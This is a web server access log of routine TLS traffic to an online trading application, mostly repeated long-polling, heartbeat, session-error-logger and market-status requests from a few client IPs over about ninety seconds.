[09/Jan/2026:12:27:11 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933099953 HTTP/1.1" -
[09/Jan/2026:12:27:11 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:11 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:27:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933103928 HTTP/1.1" -
[09/Jan/2026:12:27:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933103897 HTTP/1.1" -
[09/Jan/2026:12:27:16 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933105137 HTTP/1.1" -
[09/Jan/2026:12:27:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:27:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:27:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:27:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:27:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:27:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933108962 HTTP/1.1" -
[09/Jan/2026:12:27:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933109054 HTTP/1.1" -
[09/Jan/2026:12:27:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933110353 HTTP/1.1" -
[09/Jan/2026:12:27:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933113992 HTTP/1.1" -
[09/Jan/2026:12:27:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933114113 HTTP/1.1" -
[09/Jan/2026:12:27:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933115546 HTTP/1.1" -
[09/Jan/2026:12:27:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:27:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:27:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933119039 HTTP/1.1" -
[09/Jan/2026:12:27:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933119183 HTTP/1.1" -
[09/Jan/2026:12:27:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933120741 HTTP/1.1" -
[09/Jan/2026:12:27:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933124081 HTTP/1.1" -
[09/Jan/2026:12:27:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933124296 HTTP/1.1" -
[09/Jan/2026:12:27:37 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933125933 HTTP/1.1" -
[09/Jan/2026:12:27:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933129122 HTTP/1.1" -
[09/Jan/2026:12:27:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933129434 HTTP/1.1" -
[09/Jan/2026:12:27:41 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:41 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:27:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933131136 HTTP/1.1" -
[09/Jan/2026:12:27:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933134157 HTTP/1.1" -
[09/Jan/2026:12:27:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933134601 HTTP/1.1" -
[09/Jan/2026:12:27:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:27:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:27:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933136192 HTTP/1.1" -
[09/Jan/2026:12:27:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:27:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:27:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:27:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933139199 HTTP/1.1" -
[09/Jan/2026:12:27:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933139728 HTTP/1.1" -
[09/Jan/2026:12:27:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933141395 HTTP/1.1" -
[09/Jan/2026:12:27:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933144220 HTTP/1.1" -
[09/Jan/2026:12:27:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933144786 HTTP/1.1" -
[09/Jan/2026:12:27:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933146585 HTTP/1.1" -
[09/Jan/2026:12:27:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:27:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:27:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:28:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933149257 HTTP/1.1" -
[09/Jan/2026:12:28:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933149852 HTTP/1.1" -
[09/Jan/2026:12:28:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933151801 HTTP/1.1" -
[09/Jan/2026:12:28:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933154295 HTTP/1.1" -
[09/Jan/2026:12:28:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933155064 HTTP/1.1" -
[09/Jan/2026:12:28:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933156956 HTTP/1.1" -
[09/Jan/2026:12:28:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933159333 HTTP/1.1" -
[09/Jan/2026:12:28:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933160211 HTTP/1.1" -
[09/Jan/2026:12:28:11 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:11 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:28:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933162194 HTTP/1.1" -
[09/Jan/2026:12:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933164370 HTTP/1.1" -
[09/Jan/2026:12:28:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933165412 HTTP/1.1" -
[09/Jan/2026:12:28:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:28:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:16 +0800] 111.225.148.51 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:12:28:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:28:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:28:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933167276 HTTP/1.1" -
[09/Jan/2026:12:28:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:28:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:28:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933169423 HTTP/1.1" -
[09/Jan/2026:12:28:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933170518 HTTP/1.1" -
[09/Jan/2026:12:28:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933172556 HTTP/1.1" -
[09/Jan/2026:12:28:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933174454 HTTP/1.1" -
[09/Jan/2026:12:28:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933175620 HTTP/1.1" -
[09/Jan/2026:12:28:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:28:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933177980 HTTP/1.1" -
[09/Jan/2026:12:28:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:28:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933179490 HTTP/1.1" -
[09/Jan/2026:12:28:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933180751 HTTP/1.1" -
[09/Jan/2026:12:28:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933183105 HTTP/1.1" -
[09/Jan/2026:12:28:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933184531 HTTP/1.1" -
[09/Jan/2026:12:28:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933185948 HTTP/1.1" -
